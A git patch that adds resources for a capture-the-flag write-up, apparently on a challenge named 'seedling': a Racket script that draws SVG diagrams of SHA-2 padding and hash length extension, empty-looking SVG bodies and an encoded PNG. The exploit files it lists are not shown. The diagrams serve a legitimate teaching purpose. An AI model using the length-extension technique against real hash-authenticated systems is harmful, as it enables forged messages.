From 20c93b6e9d5e7755b74c69cd03d867583915475a Mon Sep 17 00:00:00 2001 From: xenia Date: Sun, 4 Jun 2023 23:24:16 -0400 Subject: [PATCH] meow --- 2023/dcq/res/diagram.rkt | 134 +++++ 2023/dcq/res/sha-compression-diagram.svg | 275 +++++++++ 2023/dcq/res/sha-diagram-extended.svg | 213 +++++++ 2023/dcq/res/sha-diagram.svg | 120 ++++ 2023/dcq/res/text-section.png | Bin 0 -> 207084 bytes 2023/dcq/seedling.md | 703 +++++++++++++++++++++++ 2023/dcq/seedling.tar.gz | Bin 0 -> 11478 bytes 2023/dcq/seedling_exploit.py | 87 +++ 2023/dcq/sha2extend.py | 38 ++ 9 files changed, 1570 insertions(+) create mode 100644 2023/dcq/res/diagram.rkt create mode 100644 2023/dcq/res/sha-compression-diagram.svg create mode 100644 2023/dcq/res/sha-diagram-extended.svg create mode 100644 2023/dcq/res/sha-diagram.svg create mode 100644 2023/dcq/res/text-section.png create mode 100644 2023/dcq/seedling.md create mode 100644 2023/dcq/seedling.tar.gz create mode 100644 2023/dcq/seedling_exploit.py create mode 100644 2023/dcq/sha2extend.py diff --git a/2023/dcq/res/diagram.rkt b/2023/dcq/res/diagram.rkt new file mode 100644 index 0000000..c62efb5 --- /dev/null +++ b/2023/dcq/res/diagram.rkt @@ -0,0 +1,134 @@ +#lang racket/base + +(require (for-syntax racket/base) + racket/class + racket/draw + racket/match + pict + syntax/parse/define) + +(define (s-frame color hatched? t) + (define p (inset (text t) 10)) + (define-values [w h] (values (pict-width p) (pict-height p))) + (define fr + (dc (λ (dc dx dy) + (define old-brush (send dc get-brush)) + (define old-pen (send dc get-pen)) + (define color-bg (make-object color% + (send color red) + (send color green) + (send color blue) + 0.5)) + (send dc set-brush + (new brush% [style (if hatched? 'fdiagonal-hatch 'transparent)] + [color color-bg])) + (send dc set-pen + (new pen% [width 1] [color color])) + (define path (new dc-path%)) + (send path move-to 0 0) + (send path line-to (- w 0.5) 0) + (send path line-to (- w 0.5) (- h 0.5)) + (send path line-to 0 (- h 0.5)) + (send path close) + (send dc draw-path path dx dy) + (send dc set-brush old-brush) + (send dc set-pen old-pen)) + w h)) + (cc-superimpose fr p)) + +(define (s-arrow label-text . blocks) + (match blocks + ['() (blank 0 0)] + [(list pict-a) pict-a] + [(cons pict-a pict-bs) + (define pict-b (apply s-arrow label-text pict-bs)) + (pin-arrow-line + 10 (hc-append 100 pict-a pict-b) + pict-a rc-find + pict-b lc-find + #:line-width 1 + #:style 'solid + #:color "black" + #:label (label-text))])) + +(define (add-bottom-label p label-text [l-offset 0]) + (define-values [w h] (values (- (pict-width p) l-offset) (pict-height p))) + (define bracket (hb-append (vline 0 5) (hline w 0) (vline 0 5))) + (define label (text label-text)) + (vr-append p + (vc-append (inset bracket 0 10 0 0) + (cc-superimpose (blank w (pict-height label)) label)))) + + +(define (backgroundify-diagram p-raw) + (define p (inset p-raw 20)) + (cc-superimpose (filled-rectangle (pict-width p) (pict-height p) + #:draw-border? #f #:color "white") + p)) + +(define (save-to-svg p name) + (define svg (new svg-dc% + [width (pict-width p)] + [height (pict-height p)] + [output (format "~a.svg" name)] + [exists 'replace])) + (send svg start-doc "rendering SVG") + (send svg start-page) + (draw-pict p svg 0 0) + (send svg end-page) + (send svg end-doc)) + +(define-simple-macro (define-diagram name:id value:expr) + #:with name-string (datum->syntax #'name (symbol->string (syntax->datum #'name))) + (save-to-svg (backgroundify-diagram value) name-string)) + + +(define c-reg (make-object color% 150 150 150)) +(define c-pad (make-object color% 200 80 80)) +(define c-len (make-object color% 200 80 80)) + +(define c-blue (make-object color% 150 150 200)) +(define c-green (make-object color% 30 200 30)) + +(define-diagram sha-diagram + (add-bottom-label + (ht-append (s-frame c-reg #f "data") + (s-frame c-pad #t "padding") + (s-frame c-len #t "data len")) + "hashed data")) + +(define-diagram sha-diagram-extended + (add-bottom-label + (ht-append + (add-bottom-label + (ht-append + (add-bottom-label + (ht-append (s-frame c-reg #f "data") + (s-frame c-pad #f "padding") + (s-frame c-len #f "data len")) + "originally hashed") + (s-frame c-reg #f "extend data")) + "append this" + (pict-width (s-frame c-reg #f "data"))) + (s-frame c-pad #t "padding") + (s-frame c-len #t "total data len")) + "extended hash")) + + +(define-diagram sha-compression-diagram + (vc-append + (blank 1 60) + (s-arrow (λ () + (define pict-a (s-frame c-reg #f "input block")) + (define pict-b (text "SHA-2 round")) + (pin-arrow-line + 5 (vc-append 30 pict-a pict-b) + pict-a cb-find + pict-b ct-find + #:line-width 1 + #:style 'solid + #:color "black")) + (s-frame c-blue #t "SHA-2 state constants") + (s-frame c-reg #t "state 1") + (s-frame c-reg #t "state 2") + (s-frame c-green #f "output hash")))) diff --git a/2023/dcq/res/sha-compression-diagram.svg b/2023/dcq/res/sha-compression-diagram.svg new file mode 100644 index 0000000..f5ce5d5 --- /dev/null +++ b/2023/dcq/res/sha-compression-diagram.svg @@ -0,0 +1,275 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/2023/dcq/res/sha-diagram-extended.svg b/2023/dcq/res/sha-diagram-extended.svg new file mode 100644 index 0000000..02d8521 --- /dev/null +++ b/2023/dcq/res/sha-diagram-extended.svg @@ -0,0 +1,213 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/2023/dcq/res/sha-diagram.svg b/2023/dcq/res/sha-diagram.svg new file mode 100644 index 0000000..15d1244 --- /dev/null +++ b/2023/dcq/res/sha-diagram.svg @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/2023/dcq/res/text-section.png b/2023/dcq/res/text-section.png new file mode 100644 index 0000000000000000000000000000000000000000..1926ea5d9ce8151812b65dcf8c90a0c6d8d1dbdd GIT binary patch literal 207084 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 